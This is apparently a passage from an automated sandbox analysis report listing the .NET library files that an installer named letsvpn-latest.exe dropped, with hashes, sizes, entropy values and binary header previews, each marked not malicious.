Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.877846883270474
Encrypted:	false
SSDEEP:	384:H6RW6eWqkpwKANynsAw/98E9VF3AM+od0q9SR:H67cAw/KENAMxez
MD5:	3E2F799AB970A41C2C8E5E7534845C24
SHA1:	1FE64C66F7A83551436BF4B3EFFF8945205E85FE
SHA-256:	427F56E9C708F3E46A24A362C75C94048ECF421941D450005DDCAACA956BF449
SHA-512:	DE901852EC48E27D29CBD035D38005854A55EE7F847C27E8453A74B534B1AB4FB097E929F65C205C7440D457F329EBD9CC06CFE4CA21A1023360D8D435C88A6A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............-... ...@....... ...............................F....@..................................-..O....@...................+...`......P,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................+......................................BSJB............v4.0.30319......l.......#~..\.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3......................................5.........c.............z...............(.....E.....................................Q.........../...........b.....b.....b...).b...1.b...9.b...A.b...I.b...Q.b...Y.b...a.b...i.b...q.b.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.908980993884322
Encrypted:	false
SSDEEP:	384:JSUP9W70WY1pwKANynsAw/98E9VF3AM+ox/E1:QUe1Aw/KENAMxxg
MD5:	F2174ACB80D143534E86251227B61754
SHA1:	904DA138FAED4E5E58C1F81DAD95B8A64DD9D66E
SHA-256:	359C5BDDACD7DBE19E7E98067519B4A4EACD68515DEF059C5B4EBFE07857DBDF
SHA-512:	8FD48CDB9EAF955D8C5F6F76CEF26F6E30231F8214341DD82053B7CFEB8821C9F2B6F8E8421A40196DC0532DBC9DAB1AC581F4E63FA08718ACA38153724A84CD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................M....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID...........#Blob......................3..................................................&.....&...p.....F.............................9.....R.................m.....V...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.906006192564813
Encrypted:	false
SSDEEP:	384:K8yg07W0/W82pwKANynsAw/98E9VF3AM+ob/Ggha:KBHZAw/KENAMx7Hs
MD5:	B7F1F348FB749AFEA248B49C06157E47
SHA1:	3EFD58FC81DFC96A330B671627B03DA05D9B03B7
SHA-256:	187D6A46549050C706E5DCA0E80632C54CAB234CF18C53EC746558D1AD866CB4
SHA-512:	5CB4058ACEC2A08FC269464C486FFBA9CEEBCC16EBA8D3448F4CB255C71CA6EC2751468128CB74F74FC89DD12E552A30C38729C995C82AA3DE842DB846B38D22
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................`....@..................................(..O....@...................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...d...#Strings............#US.........#GUID...........#Blob......................3.................................................."....."...m.....B.............................6.....O.................j.....S.......(...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.871260511266613
Encrypted:	false
SSDEEP:	384:je1WmRWlbpwKANynsAw/98E9VF3AM+oTyp9QU:jejfAw/KENAMx+pV
MD5:	27F0BCCBF696F5F8346CEA6F86794100
SHA1:	FBA05E15CAA7C24921DAC2886619B7810C052B13
SHA-256:	55223D201D441AA3385A1F5C74FB6A262E3E295BA8E934DEF97BB98AB47BD887
SHA-512:	566DE66663F59478495A80427AFFDBEA39B8E566B9245D9B196A3D1EAA5BB493BEAB3F8BA89A4B16A736E7572975905154D831520700E8B98E32FDF628AF8EB6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................T....@.................................p(..O....@...................+...`......8'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..h....................&......................................BSJB............v4.0.30319......l.......#~.. ...0...#Strings....P.......#US.T.......#GUID...d.......#Blob......................3............................................................f...........z.................y...../.....H.................c.....L.......,...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.(...K.H...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	365544
Entropy (8bit):	5.907896588749653
Encrypted:	false
SSDEEP:	6144:eA0HY8o04jatc9MCELK5h+BO2L1fsqF030MhU:eA0HYnitRCOFOI1WfU
MD5:	AF5AAAEF554DD9A976568304EAFAC781
SHA1:	75CE538111D00E957DC608C1B7B9AD063AA55CBB
SHA-256:	52EFAACC812848164955787C7ED20FC330CF89C65CBA39B0E008E65ED852D25F
SHA-512:	4827497E0F1ECD2C20BC4AB268EC427A6D5301AA12F6A83EA54E7F3AF197C98F381A62B524DD086DB80FA032C1133C3FC50D0941B96C43C6A5C8CF764AF747D6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;..........." ..0..`...........~... ........... ..............................<1....`.................................?~..O....................h...+..........\}..T............................................ ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@..@.reloc...............f..............@..B................s~......H.......t\|..h....................\|........................................('.....((.....(#............(......(......(......(.........(1.......(....................(......(......(......(......(......(......(......(.....................().....()...........(........(......(......(......(......('.......Q...(.....................('.....((..............('.....('.......................('.........

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	143336
Entropy (8bit):	6.177665404019452
Encrypted:	false
SSDEEP:	3072:WUGrszKKLB8a9DvrJeeesIf3amN32AW/rcjhFdj:hB8l3/aK32eh7j
MD5:	981CAEC25ECADC701AB4447AFFAEF1DE
SHA1:	620E2FB15BB20D769D8855B3881FDD18A2BA0403
SHA-256:	21B9D6C1317A1977E7C0D1CC06446BA422C7EAC66643518D99466616F7806AA9
SHA-512:	B0A95935C2D9571CEA5FDF4831E4D67D39CEEFC762DB1F23106FA995332B54C12A1BDF97248118A83F485248EAAA1980CB6560A8C967432318671C79193CC0F0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6wb.........." ..0.................. ... ....... .......................`......6.....@.................................`...O.... ..@................+...@......(................................................ ............... ..H............text........ ...................... ..`.rsrc...@.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...>..}......}......{......{......{.....{....3..{.....{....((......0...........%.u....,..........(.....z.{....%-.&.+.o)....{....(a.....(....zN........o...s+....(....z.s,.....(....zF(U....(O...s-....(....z.(V...s-....(....z.s.....(....z.s/.....(....zN........o...s0....(....zrr...p(\....c.K...(O...s1....(....zBr...p(Y...s1....(....z.s2....(....z.(X...s3....(!...z.(_...s3...*.(#...z

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	193512
Entropy (8bit):	6.125628048669688
Encrypted:	false
SSDEEP:	3072:seruQlNGOhYq0AQcTvankc+8lbKta4FUPAT8xpRI454I/Kv6RpZ8dwPSgxhL:FW60VcTvakcXcApOghL
MD5:	6D89FD823B94BE6C2E534FF57ABA3DB9
SHA1:	944518F037278434B44ADEE7ECC7BCFC02A3671D
SHA-256:	0C7A84C6226A8D99C7F2507025FEDE186780633A3943013E0BE7607167C97BAC
SHA-512:	EB77A0A02835DCBF992EFE485767325BE5A504D5ED7468A6736AE9A37AC62D2FD122C03442B2D4DB11BE285598B6653133CA2D87D5DF74AE7B4A920427AC297D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.................. ........... ....................... .......{....@.....................................O.......h................+........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...h...........................@..@.reloc..............................@..B........................H........$..H...........$....,...........................................0..,........ ....1.r...ps0...z.............(.....s1....0..l........J.2..J.o2...2.r...ps0...z..Jo3....%36.o2....JY.2..J.Xo3.....J.Xo3...(...... ........J.XT....J...XT.o3.....o2....Y./....o3....%3 ...Xo3......Xo3...(.... ..........0..=..........J...XT..%....J...XT.~..... ...._.c.....J...XT.~......._......0............02...91...A2...F1...a2...f1. ....*..91...F1...aY+...AY..X+...0Y...02...91...A2...F

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37864
Entropy (8bit):	6.424371908906091
Encrypted:	false
SSDEEP:	384:OVRG18S8ZaRMtn/RF6XbPnP8hbUePwV/QjTGIHeesAc1pwKANynsAw/98E9VF3A3:OVc1GUMB/z6XmY/iee5/Aw/KENAMx8R
MD5:	F40C07C648C8C38147C59A9C61239361
SHA1:	8AD1B7F295E4E00CEFC6F05EC2F3C1E0B8A62172
SHA-256:	201DC7B20D6CBA7EB4DC2048956B280C1A09E7A48CAE5CB99FD5C95222FFFB8D
SHA-512:	52001DD577222B85BB40794787805B6EB5CBF12EECB64BD5A2C7DEDB18650698ACA75EAB741E51068179C4E3A4629D4569042B3D068295B2EF60DBE9A3808ACB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..\..........r{... ........... ..............................(.....`..................................{..O.......h............h...+..........0z..T............................................ ............... ..H............text....[... ...\.................. ..`.rsrc...h............^..............@..@.reloc...............f..............@..B................Q{......H.......D>..l;...................y.......................................0..v.........(.......i.Y...i.Zs.........(.......o.....0....(.....3...0o....&..o ...&..Y.+......(......0o!...o ...&..Y.../..o"...6..r...p(#....0............(.......i.Y...i.[.X.Zs.......i.]..-......+....b......%.Y..X....Y..-....($........o.....0....(.....3...0o....&...o ...&+1.....b...Y..bX...Y.X......($.....0o!...o ...&..Y.../..o"...*...0..d.........(.......X...i.3..+.../......+......f...X....i.Y2...i.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.891711536643205
Encrypted:	false
SSDEEP:	384:L6ZWYLWIdpwKANynsAw/98E9VF3AM+o/MhJw4:L6lyAw/KENAMxUfw4
MD5:	5CF8352288A3E2C194B8916DE5E1CF8D
SHA1:	22ABC0FDE9C48B1529D920E03966AB14FFDD9F3C
SHA-256:	0120BAB0F8FA20274F13F8BF0D2177B0D7F247F1090AB94CC3DF50540CF5EEED
SHA-512:	5668AB6455594F2253ED995C71405CADA14365D46BC70A0D125267BC0855D7555048FC9598DAAB3C4054708838A2B2E111FD22B697C7E654A13F02E4F109AB86
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@.. ................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......0...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.8495734817007135
Encrypted:	false
SSDEEP:	384:nZ1W1WMQWhRpwKANynsAw/98E9VF3AM+oZbgr:21MAw/KENAMxw
MD5:	4F27F06AAC9439B3673212E0E372C195
SHA1:	0546CD67233E8F65DFD080FFC4EC8482068F6F62
SHA-256:	7FA0F04C2F17575754CC48EAC4131874F8A1F2CAC761DDB51FD691938CB3EEF1
SHA-512:	32513A64091B2391B4A5FCDEE2535D9933EDBC1DD048CD9CA4007880EE61C049A0522D4695FB38FEE657DCB8D4DDB70ED4A8B3219B374CDB278A0AAB0BC0EB73
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............,... ...@....... ..............................J.....@..................................,..O....@..@................+...`......p+............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....t.......#US.x.......#GUID...........#Blob......................3................................!...............E.................%.................'...........e.....~...........................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.883311037346329
Encrypted:	false
SSDEEP:	384:KdSWSKWUxpwKANynsAw/98E9VF3AM+otIRE6D6S:MOfAw/KENAMxtWP5
MD5:	53F96C63BE9243B0B5E0B4DBCA8F4A39
SHA1:	4FEC6835E51FE0480FD9A91EBF88093D4A17E142
SHA-256:	968C6736BE25FD635DEDC7A7DE410ABE17BEF44F7B3FE07E7A38BE8C35175989
SHA-512:	C71252457CC52B76F6958C366E05FE06AF17DEBE8CAEA7E890B5F4339CF546F8A63FF2EA100AEFCA23B8A9E4289E62FDCF36D96BA722DF75A1D94ADB53CF139E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................Q4....@..................................(..O....@...................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...L...#Strings....l.......#US.p.......#GUID...........#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.,...K.L...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.805651039589859
Encrypted:	false
SSDEEP:	384:qJEYA2WkIWpEpwKANynsAw/98E9VF3AM+om6sYx9D:qyYA8NAw/KENAMxVPD
MD5:	8AF7247A87E7527320DCEE21D09D6CF1
SHA1:	5155B695010E577314EC3C3D7050C993A10C3EDD
SHA-256:	3EA9E823E4F2C4D974026E34BE287801B3D71C390C86BDF2A1A3061B8203E250
SHA-512:	D46D9C644316F2648E3C019ED11EBDCE67958B430C32C1FEB5B25BC808288D4DEDC5D7D0299C9547A88F37176EDC92A10D83D8674E7441AB9BAE9AE100D50723
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................L....@................................. ,..O....@...................+...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l.......#~..\|...x...#Strings............#US.........#GUID...........#Blob......................3......................................$.........N.U.....U.....-...u.................0...........n.........................>.......................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.928221667503601
Encrypted:	false
SSDEEP:	384:mJGWe4WeYpwKANynsAw/98E9VF3AM+o02Mp:qm6Aw/KENAMx2p
MD5:	2797E1151B356A42E082273195B6773C
SHA1:	59FC174B188CF5EED6D3AE6ACF01A40014614410
SHA-256:	443275D642CC88AE05BEC977B3A7906B9B3DB382B22CD0CEBE08ECA118DA1FDC
SHA-512:	3958EA65A30006D8E4B9A7E513DB12C9E69AE16E6C4ED27589D18438DA0D78D7CBAE8B4F30F02D89B86A683A37875D271CFF1B5EB931A2D88672081E0455F04B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................0)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d)......H.......P ..(...................x'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob......................3..................................................4...~.4...R.!...T.....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.845488888859241
Encrypted:	false
SSDEEP:	384:AdW1w3WesWa7pwKANynsAw/98E9VF3AM+oV45ho:51wxdAw/KENAMxIho
MD5:	8E75452F26F1DD475C790DAEA35979A3
SHA1:	A870500E220B0A1F4E60A05652F660267BB4E6BF
SHA-256:	C3E8D1A2C5AA7EDAAE3E42DF3D5C40FDBD77C2A026D851902795ECDADBF1376F
SHA-512:	5DF0F7D1252AC1A7369F5533D305293E22586852F5E16F2AAE9C34581787D5C89C0B242446F2EE85F2BB2C50CA86103F812231EFE78FF0253789EA029682B869
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............~... ...@....... ...............................p....@.................................,..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`*......H.......P ..$...................t(......................................BSJB............v4.0.30319......l...$...#~......t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.<.....<.....<...C.<.....<.....<...[.<...x.<...-.......<.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25576
Entropy (8bit):	6.645198805547004
Encrypted:	false
SSDEEP:	384:eylNGlfdqj5531HJTABhf8g2MkO1ICMbmiT2Y4Y3ocWS9sWvW8YsWUJGpwKANynx:eyp12Bhkg3qnV/sULAw/KENAMxw
MD5:	0117EDAC090D4B6F45B66B4EB5B1E61A
SHA1:	9DABCFC9D00DFFAD6EFB04DAEE7138BA7B41BAEE
SHA-256:	3A968E6CB20814E4FDF5439AC2AFE609B5294BD9BA7412A0DE98D4C741F8CD9F
SHA-512:	63DCCBD83A4F83A0716DD7A55589D8C969A346836E9D2B0B0BAFCC62843059A75A61CDECA4B0080B8107D6625606A124773FE4557CD97FEAEEAA533278CC609B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............I... ...`....... ....................................@.................................gI..O....`...............8...+...........H............................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............6..............@..B.................I......H.......H(... ..................HH.......................................0..J.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%......o.......0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..K.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%.......o...+..0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..L.......(....~....%-.&~..........s....%.....~....%-.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9085869648323355
Encrypted:	false
SSDEEP:	384:fHPAW1bWb8pwKANynsAw/98E9VF3AM+oGkieQz:3rsAw/KENAMxO
MD5:	4312C57BD61256F8DABF2AC39260AB34
SHA1:	1589002195830CBE78406D54AA503EDFC92FE9FD
SHA-256:	AC7EE6034CCF97619980E10803994E516D4E0D53FDE0D7B7EFEECAFA31DC710D
SHA-512:	8C8038FD388D48732495DB7E68C499E9A9D2E1E58D6857CA988FB03356CDA6605A2C927C5FA28AA2783AD210063C8093D94AFBC288F62D69C8B5530007AB9C0A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................;'....@..................................(..O....@..P................+...`......P'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3......................................z...............\.....0.....3.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.911347469160971
Encrypted:	false
SSDEEP:	384:SNoqWD7WAQpwKANynsAw/98E9VF3AM+ocgxsqZDU1A:SNofTAw/KENAMx+qNX
MD5:	7A46A23B5974EBB3990F0F758A392CB3
SHA1:	099F457DF709F64D43EEF0BD68A3CD30298C8DCB
SHA-256:	21A7B85A723E424E79986B3C14441F734F0BBA2F15B9D3CABCE4B7BB1E20F75D
SHA-512:	D65D7604D56175C4E90913BFDA5292C5CE363C8D27EC539B0C390875F1E0640AA1CDCE10C530AAB0AD33F6017D60E6D2BEF07B1F6E1269D4411E83E14B7543C7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................\|(..O....@..@................+...`......D'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ..t....................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.913861277769009
Encrypted:	false
SSDEEP:	384:iGETSAWUEWrvpwKANynsAw/98E9VF3AM+o9JmEOJu:4T1UAw/KENAMxn6Ju
MD5:	FF7E10745B69A6514A4CE4F80DE711A2
SHA1:	FCD110A536F4D19A0533C2A4E53974ED551EB3B4
SHA-256:	CEDC329480C9FFD5F5533846CA820C00F25C5960B4C2E4CCD527DBB411487D69
SHA-512:	FB16AB33FF0DBD016AB3811B4EAB8A70AB61D3BB4361687C072A1D5EB8A301817A69F94D16F75BC1BA49DF33DE382407A57472A69A3F72D815724C0F08C5EB97
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3............................................................T.....,.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	111080
Entropy (8bit):	5.540754648195177
Encrypted:	false
SSDEEP:	1536:6POw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/EAwrxq:6Ww0SUUKBM8aOUiiGw7qa9tK/EhA
MD5:	E7CEED3878E0F46D73C02C52AB2F49B0
SHA1:	0FAFEBD57C72B065DE4515A5952930B2350F4E41
SHA-256:	9820B2D19A07C540B80F6D0DCA1541083FFE8C6E8AC6B9897A61A6C88F2CCA7A
SHA-512:	E7D01A36EE054557A5602C2F5C80232D00A163B1AC7A93FFC30FD3A7070B79724DE35782BB8BFDB46AE0E55911FCC77CD962153834B71768B3F99BA74BEFC312
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................M.....@.................................f...O........................+.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..\|?..........$... ...D.........................................(....&.l(....k&.l(....k..l.l(....k..l.l(....k&.l(....k&.l(....k&.l(....kj~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2rG..p.(....2r...p.(....*2r...p.(.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.902797795907002
Encrypted:	false
SSDEEP:	384:pcDagtDApWSKJWEwpwKANynsAw/98E9VF3AM+ozZWgE:pPKBBAw/KENAMx6
MD5:	2A0AE804890D979430A5C1AFC09232F9
SHA1:	0B6D9098D7772076E9D2424BE747EABE65654B50
SHA-256:	2E05A2BA67A620217727ED913156B6AB4E4CAF1D0FFC3D1075C45B103055C167
SHA-512:	060595F906C4DC9DF598DAFF8059134ACF7B24F7FC8F0D3268101B2F8F59CE4CDB0242AAA827CD6EB18C99F31C5A8C2C25647D00A2BC45B8647EEE919B004DF3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............+... ...@....... ...............................G....@.................................0+..O....@...................+...`.......)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d+......H.......P ..(...................x)......................................BSJB............v4.0.30319......l...x...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................x.........w.o.....o.....\...............<.....Y.................................................G...........V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C./...K.O...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916428540480234
Encrypted:	false
SSDEEP:	384:dIWD4WXRpwKANynsAw/98E9VF3AM+ocg66:d1GAw/KENAMxT
